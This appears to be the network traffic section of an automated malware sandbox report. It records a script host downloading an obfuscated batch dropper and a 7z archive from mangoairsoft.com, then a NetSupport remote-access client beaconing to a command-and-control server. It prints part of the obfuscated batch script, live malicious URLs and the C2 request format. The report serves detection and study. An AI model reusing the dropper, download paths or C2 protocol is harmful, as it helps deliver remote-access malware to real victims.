Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Aug 2, 2023 10:46:22.508564949 CEST	8.8.8.8	192.168.2.8	0x73c3	No error (0)	mangoairsoft.com		188.127.230.147	A (IP address)	IN (0x0001)	false
Aug 2, 2023 10:46:40.295149088 CEST	8.8.8.8	192.168.2.8	0x2a43	No error (0)	geo.netsupportsoftware.com	geography.netsupportsoftware.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 2, 2023 10:46:40.295149088 CEST	8.8.8.8	192.168.2.8	0x2a43	No error (0)	geography.netsupportsoftware.com		62.172.138.8	A (IP address)	IN (0x0001)	false
Aug 2, 2023 10:46:40.295149088 CEST	8.8.8.8	192.168.2.8	0x2a43	No error (0)	geography.netsupportsoftware.com		62.172.138.67	A (IP address)	IN (0x0001)	false
Aug 2, 2023 10:46:40.295149088 CEST	8.8.8.8	192.168.2.8	0x2a43	No error (0)	geography.netsupportsoftware.com		51.142.119.24	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

mangoairsoft.com

94.158.247.23connection: keep-alivecmd=pollinfo=1ack=1

94.158.247.23connection: keep-alivecmd=encdes=1data=u2hr4]%y-=id3wi7?=@ff&t[6ral_mex-#rtr5=if'umqyz8_xyv{r{~t=j=js:x>w~k=n+|*9w_z8a ]

94.158.247.23connection: keep-alivecmd=encdes=1data=l3<(t{evk9|||$(m$cj_0mtsm6

geo.netsupportsoftware.com

94.158.247.23connection: keep-alivecmd=encdes=1data=l3<(t{evk9|||$(m$c9hr%>#?sq

94.158.247.23connection: keep-alivecmd=encdes=1data=#mhuaag

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.2.8	49696	188.127.230.147	443	C:\Windows\System32\wscript.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1	192.168.2.8	49699	188.127.230.147	443	C:\Windows\System32\wscript.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
2	192.168.2.8	49702	188.127.230.147	443	C:\Windows\System32\wscript.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
3	192.168.2.8	49705	188.127.230.147	443	C:\Windows\System32\wscript.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
4	192.168.2.8	49706	94.158.247.23	5050	C:\ProgramData\client32.exe

Timestamp	kBytes transferred	Direction	Data
Aug 2, 2023 10:46:38.961824894 CEST	2911	OUT	POST http://94.158.247.23/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 22Host: 94.158.247.23Connection: Keep-AliveCMD=POLLINFO=1ACK=1 Data Raw: Data Ascii:
Aug 2, 2023 10:46:39.134727001 CEST	2912	IN	HTTP/1.1 200 OKServer: NetSupport Gateway/1.6 (Windows NT)Content-Type: application/x-www-form-urlencodedContent-Length: 60Connection: Keep-AliveCMD=ENCDES=1DATA=g+${ \Wbb)w}oXxf Data Raw: Data Ascii:
Aug 2, 2023 10:46:39.415771961 CEST	2912	OUT	POST http://94.158.247.23/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 234Host: 94.158.247.23Connection: Keep-AliveCMD=ENCDES=1DATA=u2hr4]%y-=ID3Wi7?=@Ff&t[6raL_MeX-#rtr5=If'UMQYz8_XyV{r{~t=J=JS:X>w~k=n+\|*9W_z8A ] Data Raw: Data Ascii:
Aug 2, 2023 10:46:39.590596914 CEST	2913	IN	HTTP/1.1 200 OKServer: NetSupport Gateway/1.6 (Windows NT)Content-Type: application/x-www-form-urlencodedContent-Length: 152Connection: Keep-AliveCMD=ENCDES=1DATA=u2hr \WhE=I=n~7s4}X),,Dq,()4]%y-A9H=n :!b<DNEgAfml=@H1(BsRb'h[TjI Data Raw: Data Ascii:
Aug 2, 2023 10:46:39.809242010 CEST	2913	OUT	POST http://94.158.247.23/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 76Host: 94.158.247.23Connection: Keep-AliveCMD=ENCDES=1DATA=l3<(T{EVk9\|\|\|$(m$Cj_0MtsM6 Data Raw: Data Ascii:
Aug 2, 2023 10:46:41.509746075 CEST	2937	OUT	POST http://94.158.247.23/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 76Host: 94.158.247.23Connection: Keep-AliveCMD=ENCDES=1DATA=l3<(T{EVk9\|\|\|$(m$C9HR%>#?sq Data Raw: Data Ascii:
Aug 2, 2023 10:47:41.610924006 CEST	2945	OUT	POST http://94.158.247.23/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 94.158.247.23Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Aug 2, 2023 10:48:42.172974110 CEST	2948	OUT	POST http://94.158.247.23/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 94.158.247.23Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Aug 2, 2023 10:49:42.333830118 CEST	2948	OUT	POST http://94.158.247.23/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 94.158.247.23Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
5	192.168.2.8	49707	62.172.138.8	80	C:\ProgramData\client32.exe

Timestamp	kBytes transferred	Direction	Data
Aug 2, 2023 10:46:40.465719938 CEST	2914	OUT	GET /location/loca.asp HTTP/1.1 Host: geo.netsupportsoftware.com Connection: Keep-Alive Cache-Control: no-cache
Aug 2, 2023 10:46:40.507517099 CEST	2914	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Wed, 02 Aug 2023 08:46:39 GMT Connection: close Content-Length: 315 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 34 2e 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Not Found</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Not Found</h2><hr><p>HTTP Error 404. The requested resource is not found.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
6	192.168.2.8	49711	62.172.138.8	80	C:\ProgramData\client32.exe

Timestamp	kBytes transferred	Direction	Data
Aug 2, 2023 10:46:41.818042040 CEST	2938	OUT	GET /location/loca.asp HTTP/1.1 Host: geo.netsupportsoftware.com Connection: Keep-Alive Cache-Control: no-cache
Aug 2, 2023 10:46:41.859118938 CEST	2939	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Wed, 02 Aug 2023 08:46:41 GMT Connection: close Content-Length: 315 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 34 2e 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Not Found</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Not Found</h2><hr><p>HTTP Error 404. The requested resource is not found.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
7	192.168.2.8	49712	62.172.138.8	80	C:\ProgramData\client32.exe

Timestamp	kBytes transferred	Direction	Data
Aug 2, 2023 10:46:41.918560028 CEST	2939	OUT	GET /location/loca.asp HTTP/1.1 Host: geo.netsupportsoftware.com Connection: Keep-Alive Cache-Control: no-cache
Aug 2, 2023 10:46:41.960391045 CEST	2940	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Wed, 02 Aug 2023 08:46:41 GMT Connection: close Content-Length: 315 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 34 2e 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Not Found</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Not Found</h2><hr><p>HTTP Error 404. The requested resource is not found.</p></BODY></HTML>

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.2.8	49696	188.127.230.147	443	C:\Windows\System32\wscript.exe

Timestamp	Direction	Data
2023-08-02 08:46:23 UTC	OUT	GET /05e2f56dd5d8c33a6c402a19629be61c__9336ebf25087d91c818ee6e9ec29f8c1/11.bat?597673 HTTP/1.1 Accept: / Accept-Language: en-CH,en-US;q=0.8,en-GB;q=0.5,en;q=0.2 UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: mangoairsoft.com Connection: Keep-Alive
2023-08-02 08:46:23 UTC	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 02 Aug 2023 08:46:23 GMT Content-Type: application/x-msdos-program Content-Length: 1908 Connection: close Last-Modified: Thu, 27 Jul 2023 14:27:09 GMT ETag: "774-60178c25fc517" Accept-Ranges: bytes
2023-08-02 08:46:23 UTC	IN	Data Raw: 40 65 63 68 6f 20 6f 66 66 0a 0a 3a 3a 20 52 31 31 66 66 73 52 73 66 73 52 62 0a 3a 3a 20 33 5a 36 66 4b 66 73 52 4b 66 73 52 62 0a 0a 73 65 74 20 22 66 64 61 61 3d 73 65 74 20 22 0a 25 66 64 61 61 25 22 66 64 67 78 76 78 63 76 78 63 3d 43 3a 5c 50 72 6f 67 22 0a 25 66 64 61 61 25 22 68 67 68 67 64 67 64 66 73 7a 3d 72 61 6d 44 22 0a 25 66 64 61 61 25 22 68 79 74 75 72 64 66 67 66 3d 61 74 61 5c 22 0a 0a 3a 3a 20 52 31 31 4b 66 73 66 66 73 52 73 73 52 73 52 73 52 52 62 0a 3a 3a 20 73 73 52 73 52 66 73 52 73 52 52 62 0a 0a 25 66 64 67 78 76 78 63 76 78 63 25 25 68 67 68 67 64 67 64 66 73 7a 25 25 68 79 74 75 72 64 66 67 66 25 0a 0a 73 65 74 20 22 66 67 64 67 68 3d 73 65 74 20 22 0a 25 66 67 64 67 68 25 22 76 62 6e 76 62 76 3d 57 73 63 72 22 0a 25 66 67 64 Data Ascii: @echo off:: R11ffsRsfsRb:: 3Z6fKfsRKfsRbset "fdaa=set "%fdaa%"fdgxvxcvxc=C:\Prog"%fdaa%"hghgdgdfsz=ramD"%fdaa%"hyturdfgf=ata\":: R11KfsffsRssRsRsRRb:: ssRsRfsRsRRb%fdgxvxcvxc%%hghgdgdfsz%%hyturdfgf%set "fgdgh=set "%fgdgh%"vbnvbv=Wscr"%fgd

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1	192.168.2.8	49699	188.127.230.147	443	C:\Windows\System32\wscript.exe

Timestamp	kBytes transferred	Direction	Data
2023-08-02 08:46:24 UTC	2	OUT	GET /05e2f56dd5d8c33a6c402a19629be61c__9336ebf25087d91c818ee6e9ec29f8c1/lolo.7z HTTP/1.1 Host: mangoairsoft.com User-Agent: curl/8.0.1 Accept: /
2023-08-02 08:46:24 UTC	2	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 02 Aug 2023 08:46:24 GMT Content-Type: application/x-7z-compressed Content-Length: 2306944 Connection: close Last-Modified: Thu, 27 Jul 2023 14:02:55 GMT ETag: "233380-601786bbd2554" Accept-Ranges: bytes
2023-08-02 08:46:24 UTC	2	IN	Data Raw: 37 7a bc af 27 1c 00 04 62 94 ad 89 3b 33 23 00 00 00 00 00 25 00 00 00 00 00 00 00 bd 7d 05 34 e0 1b b1 06 4e 5d 00 06 82 cb 94 d3 b9 af f7 1e d4 db db 26 fe 12 c2 40 84 0b ca 5a 74 41 a5 34 05 82 78 3d 69 f9 1a 84 68 af 35 e1 8b 55 42 68 d8 4b a5 de e9 e9 9e 4b 42 7d 22 47 41 bd cc 0e cb d2 0c 2e 18 9d db 78 b3 e6 e2 c7 e7 36 ff 63 8a 38 ec f2 56 ac 3e a9 8a 33 ba 33 a3 7e c2 dd a8 1e 62 8e af 58 c3 d3 08 ed f6 1b 57 d8 62 c6 f4 a1 77 f7 19 db ec 8d 75 62 51 00 a2 a3 68 5b fa b4 16 0d 60 bf cc 33 29 87 ac b4 91 3e cc a8 0a e2 ee 0f b7 55 05 96 4b 13 ec 59 e2 30 7d 28 ee 67 a3 a1 37 e2 84 d2 ab 62 72 77 92 c2 79 d5 ef 15 10 2f 33 7a cb 74 f6 de 9c 0d 2c d2 67 a5 40 f4 ac 92 61 4a c2 9d d1 7f 8e f8 99 30 4b 0c 96 12 aa c4 d2 d1 f2 27 51 d6 ec 06 9e f3 fd Data Ascii: 7z'b;3#%}4N]&@ZtA4x=ih5UBhKKB}"GA.x6c8V>33~bXWbwubQh[`3)>UKY0}(g7brwy/3zt,g@aJ0K'Q
2023-08-02 08:46:24 UTC	18	IN	Data Raw: 20 a1 58 17 00 5c de 14 66 93 6e 4d e6 0f 0d ec 4e 9a f7 0d d3 c0 ec b2 50 4f 23 af b6 9c e4 9e 86 1f 2c 28 d8 72 1d 14 3a 77 40 be 76 d9 d5 08 0b 27 b4 15 6e 50 48 83 9b ba b5 39 7e 63 9a 91 da 1f 0d c4 59 da 7f 8b 43 02 34 9c f2 5d 1d 01 25 52 70 eb 3e 89 2a f0 2a e3 76 ee 1b 8c 1d 69 06 51 fc 25 bb 7a 34 17 bf 70 91 ba 22 db a5 4a 57 11 7e ab 1d c7 77 12 24 7d 1f 16 26 24 85 04 b5 d9 99 63 85 cc cd 90 34 2c 1f 24 31 0d 13 ef 05 7e 89 2f 8d 70 b9 aa 25 75 51 d5 ab 20 d1 e7 b0 d7 6a 28 f8 ad 0e e2 04 c9 e4 cc 07 bd 51 af 5a 42 18 b1 1f 10 9e ab c3 74 ae 3f d1 a6 80 be 92 8d 39 05 9a 75 7b 10 94 53 44 db 94 7d ad 05 8d 30 07 0f e0 ea e6 d4 52 23 58 6b c3 84 b0 5d 17 56 11 59 83 e3 92 ad d0 26 22 a5 70 60 77 cd 68 de 65 38 13 16 a3 33 ba 26 56 ab 03 f3 cf Data Ascii: X\fnMNPO#,(r:w@v'nPH9~cYC4]%Rp>**viQ%z4p"JW~w$}&$c4,$1~/p%uQ j(QZBt?9u{SD}0R#Xk]VY&"p`whe83&V
2023-08-02 08:46:24 UTC	34	IN	Data Raw: 38 27 45 be 2c f7 1e 6e 22 d1 5b 21 f0 a4 45 8f c4 f2 bf 48 84 4c 1d e1 d3 79 7a c1 71 5e a8 0c 3c d7 28 2c f8 dd 60 ef 73 15 a8 7f 03 20 a6 e5 39 83 fa 82 0e a9 fd 2e 46 d8 49 ca c9 18 27 60 d6 20 de 75 30 ce 3d c1 7b 16 30 1f 9b cd c6 13 d4 a6 29 f7 70 da 5a 02 ab c8 0e 09 96 79 c0 e8 13 bd e9 72 b0 3f c9 35 35 bc 9d 0a 2a 3b 79 cc aa 6e d6 a2 a9 3c 33 9a 4c 0a 5b 49 3c 74 05 9b ae cf f4 dc 59 86 ba 4a ad a5 25 f6 a7 0f 44 d7 bd b3 74 96 9d be d6 3c 03 23 e3 f5 57 41 ed 7e 70 7c d2 91 59 08 08 3b ef a6 e4 d9 b9 dc fa e5 73 56 12 cd d6 05 3f 90 7b 6f 61 fd 59 8a 79 52 13 78 cd a7 9d 97 50 f6 0b c0 b7 25 ee af b3 bc ae 55 3a 5a 7a 36 c4 a1 0a 47 bf ad 1f f6 6e 8a 7a 31 cd 2f 8d dc b1 81 6f d5 7a 05 26 80 8f 20 46 27 a4 43 cb 71 4b 3b 3f 4a e8 51 67 35 44 Data Ascii: 8'E,n"[!EHLyzq^<(,`s 9.FI'` u0={0)pZyr?55*;yn<3L[I<tYJ%Dt<#WA~p\|Y;sV?{oaYyRxP%U:Zz6Gnz1/oz& F'CqK;?JQg5D
2023-08-02 08:46:24 UTC	50	IN	Data Raw: f1 57 ce 65 46 f3 a2 05 d3 1e 75 34 50 05 ee 13 94 27 62 02 89 fd 39 1e d7 ef d0 12 c5 cc 43 30 6d 3a f1 31 33 e4 b5 e0 14 5a 6c fb cd b2 80 73 d1 c1 ea 45 51 ca 18 88 2c 52 4f 2f 3f 3a d6 b6 6e 32 e0 08 94 72 2c be 66 2c ed 90 5d b9 0b 1e 82 86 95 11 fc 15 a7 d4 43 93 71 ba 17 53 28 57 78 6a 6d 5a 5f 97 f9 26 50 b8 e7 8d e2 9b 3a 01 c3 2a b6 f5 88 e0 13 42 86 48 03 39 ac 20 c6 ab 64 85 e5 78 47 47 59 57 2b 5f 64 8e c7 21 d5 73 ec 4f 9f db f9 12 99 cc e5 dc 8b df 1a ba 8b 0d 18 ec eb ff 76 af 6a 25 5d 89 68 0e 1a 6c 55 fb c1 fa 6f d0 9f b2 e0 ba e7 bc dd 94 f6 f4 65 68 25 ed 34 22 7d 37 4c a6 68 08 3e 43 3d b5 69 ac a5 43 d5 4b d6 b3 2a 6b 77 5f 08 11 ba 63 d8 68 da 98 17 b0 45 c2 6b 3e 00 f0 f3 1c 66 97 74 79 e7 2a 03 11 23 bb 99 81 86 b2 8b e5 27 95 2d Data Ascii: WeFu4P'b9C0m:13ZlsEQ,RO/?:n2r,f,]CqS(WxjmZ_&P:BH9 dxGGYW+_d!sOvj%]hlUoeh%4"}7Lh>C=iCKkw_chEk>fty*#'-
2023-08-02 08:46:24 UTC	66	IN	Data Raw: 1d ca 0d d7 81 55 36 0f 11 a0 78 f5 8e f1 b9 74 f8 3a ef 1e b9 69 d9 da ec 8e ea b0 05 30 6a d8 f4 8f 04 61 93 9d 9f 58 55 56 b5 58 0e 4e ae e6 e5 e2 9b 6d e6 7a 78 cc 53 93 28 3f 34 a9 23 4c 29 b3 7a e1 5a c8 91 a2 ba f5 9f e4 0c 42 da ce 17 24 a7 fb a5 58 64 88 04 d0 44 6a 93 f3 c1 af e6 8d d8 87 f0 b8 85 fc a9 a6 f5 a6 ad bf 07 c1 b4 c5 c8 ed eb 26 82 b3 3c dd 10 eb 61 87 4e 2d bf 08 bf 66 28 be 12 de 14 1f 2f ab 2e a1 a8 b2 5f da 9c 41 c9 6f 6b 4c 7a 04 21 7f 82 6e e8 8e 7b 46 bc 15 e7 bd 37 b8 a7 6b c8 0a 8e a4 6f 28 99 01 7d 1d 22 b6 a5 dd e0 05 96 0b 09 c2 27 96 09 15 48 ec 80 4b d6 d7 9f 49 02 1a 08 d3 6d 93 25 c1 79 15 fc 2b c9 c9 9b a5 01 f3 e8 f9 0b 80 26 9f 07 0b 4e d1 7c 65 d1 d7 5f ae 3f a7 7c 30 91 ce c1 e8 b6 d9 6b 9c c4 29 36 be 4f ba 0b Data Ascii: U6xt:i0jaXUVXNmzxS(?4#L)zZB$XdDj&<aN-f(/._AokLz!n{F7ko(}"'HKIm%y+&N\|e_?\|0k)6O
2023-08-02 08:46:24 UTC	82	IN	Data Raw: bf 83 7f e1 a3 bc 15 5a 32 72 cd 06 d5 3b 9d 67 43 4d 24 e8 0e ea 69 ad bd f5 09 fd 0f 29 6d cd 0c 63 c8 05 e0 79 71 c5 59 d1 e6 68 c5 14 96 cb b6 a9 17 0b ef 44 1c 50 57 fe c1 a5 d3 fc d9 d6 b8 5d 39 c5 5f 0f a6 ef 5b c0 d7 36 76 9f ac 06 e9 b4 ac 98 ba 2a 38 8e d1 14 22 94 fc 9e 55 1c 12 b9 33 0b 6c 0b 8a 9a f0 21 b0 98 da 02 1e 87 5b 6f b0 ff 43 d2 c5 f0 6e 16 14 2e ed 15 9c 4e d1 ce 19 f4 b4 e7 d3 b7 b3 7f 78 8d a6 1c c2 a1 27 7e d3 15 ea 1f a2 97 89 47 7f 60 3c 4e 99 d2 bf 5e e4 8f 40 20 a1 e7 07 b4 92 02 66 ca 03 94 5d d8 29 e2 af c2 b3 f5 58 9b 32 c1 fe 0e e1 7d e8 93 e2 f7 ac 52 77 39 db a8 e4 73 9a 31 f9 cd 31 1d 7a 14 9f 20 4e 76 cb a9 2d b1 d1 66 b9 a7 ab 7e 57 e4 aa c8 c4 d4 66 34 8d 42 9d 51 c9 12 3c d5 ad 00 c1 6b 77 22 dc 77 20 22 f5 4d 57 Data Ascii: Z2r;gCM$i)mcyqYhDPW]9_[6v*8"U3l![oCn.Nx'~G`<N^@ f])X2}Rw9s11z Nv-f~Wf4BQ<kw"w "MW
2023-08-02 08:46:24 UTC	98	IN	Data Raw: 7f 7e 8e 38 2a e7 74 1b 62 ea c6 d4 7e 8d 8b 71 b9 85 58 30 83 69 5b 12 1d 4d 22 f2 39 b6 80 8c 23 3f 09 f4 45 88 f4 05 c6 18 6e dd 99 2e 0c 7a 0e d2 27 f5 2a 56 90 a8 58 99 29 58 ea fd b7 70 a1 c0 a0 d6 a9 de ce 40 a3 77 50 d5 e6 71 44 4f 43 c4 90 49 41 93 01 ed 2a af f7 08 c4 dc 07 db eb 6f 88 a1 e7 33 15 cf 62 07 a1 42 05 26 08 35 ef 95 f8 56 5d d5 6e f3 ca b1 c0 86 bd 43 4b eb 3e e6 46 44 4c 27 18 ba 4e cc d1 c2 07 c4 ec 69 87 9a c7 12 bd 71 9e 19 cd 51 df d7 a6 e2 b7 2d f2 12 5d cf 70 5b 22 99 48 d2 3b 60 1f 89 c5 0d ad 52 28 70 1a d0 81 2c b1 e7 6f 1b 33 70 22 98 bc 22 d9 75 93 f3 f0 94 ee 57 56 79 3a 52 57 2c 1b f7 2a 08 b3 7e d8 6d 2e 9e 53 79 f5 00 57 e1 4a b4 f1 9a 81 22 a2 6b dc 2a 69 dd 3d d9 d9 c9 3c 73 d0 8b 1c d5 1d 71 dd 0d c4 8d cd 21 f9 Data Ascii: ~8tb~qX0i[M"9#?En.z'VX)Xp@wPqDOCIAo3bB&5V]nCK>FDL'NiqQ-]p["H;`R(p,o3p""uWVy:RW,~m.SyWJ"k*i=<sq!
2023-08-02 08:46:24 UTC	114	IN	Data Raw: 2c 80 a3 55 08 82 d6 cf 94 59 0e 12 21 ea bd 66 f8 b6 f9 a3 c8 9d 44 56 73 93 de cf fe 6a 50 a0 d2 3f 61 97 69 79 8f dd 4f 89 1d b9 6f 39 e2 e5 26 7d e3 e1 6d 56 13 fe 72 61 dd 36 76 0f 27 7c 48 2f a1 06 5f b4 33 87 c3 6b 65 83 17 d8 a3 dc db 30 29 8b 74 45 32 60 fd 3f 79 50 1e 36 77 40 fc 8d fe 20 0d 60 94 73 8c ec 17 07 14 57 fc 17 21 80 bf be 8e c7 22 af 6e 0e 56 81 71 04 f4 c2 4f 9b 60 85 4a 9f f2 29 e0 86 db b3 f1 cc 04 f4 53 dd 94 df cb da bb 8f f9 5c ce f5 f4 9a e8 60 6e 39 8b 89 b9 99 3e 70 d5 50 07 fc 78 a7 88 8e df 3f f0 a9 10 a8 c1 b6 9b d4 4d 8b 5a f3 7e 7c 1e 14 f5 0d 5c f8 d0 41 be 0b 07 f2 a9 63 ec 24 7b 9f a4 d6 3e 13 c3 28 52 b7 08 ab 98 f2 af 3b 0c f0 16 66 a1 f7 a2 66 3a d3 40 b3 4c a2 09 13 38 69 d6 60 9c df 79 71 b4 01 47 d5 5f c7 83 Data Ascii: ,UY!fDVsjP?aiyOo9&}mVra6v'\|H/_3ke0)tE2`?yP6w@ `sW!"nVqO`J)S\`n9>pPx?MZ~\|\Ac${>(R;ff:@L8i`yqG_
2023-08-02 08:46:24 UTC	130	IN	Data Raw: 1c 1b 35 5f 31 b1 08 e7 a3 a1 9a ee ae 53 42 f1 63 d7 15 c4 71 57 52 19 fb f2 f6 65 dd bb 37 d7 68 26 a1 7d 54 6d e0 86 58 08 18 23 85 83 36 e9 c1 4b 54 29 2f b2 1b 06 90 db 09 4f c4 69 c2 e3 81 2d aa 8b e0 75 93 cc 7e 5c f2 e8 60 92 66 e2 93 90 00 fb 6d 93 cf a7 68 12 84 55 07 e3 8b 48 e9 b2 57 d4 11 d0 78 c4 b4 3a c9 3a 96 9d 04 b9 48 3f 96 53 97 7d 17 10 f0 02 86 b7 c6 54 63 55 19 70 8c ad 00 b0 0d fa 99 06 e7 0a 7b c7 da 9b 3c 06 56 7a 66 d9 9e c0 9a ac 53 99 4d 7a df b6 f7 83 2f 8d d4 f2 6e c1 97 76 fc 48 6c e8 d7 03 e8 76 44 3e b4 89 05 d1 53 11 4e 48 56 c9 90 77 36 80 7b 60 22 bb 57 40 f1 26 ee 58 69 45 52 56 af 07 4a 6d a9 20 ef 7d 5c 80 ea 8a 3e d7 ae 8a 06 10 ca ca 7b 84 3d 11 d9 0c 3a d9 d7 55 16 8a 78 4b 38 a1 4a b8 82 01 07 9e 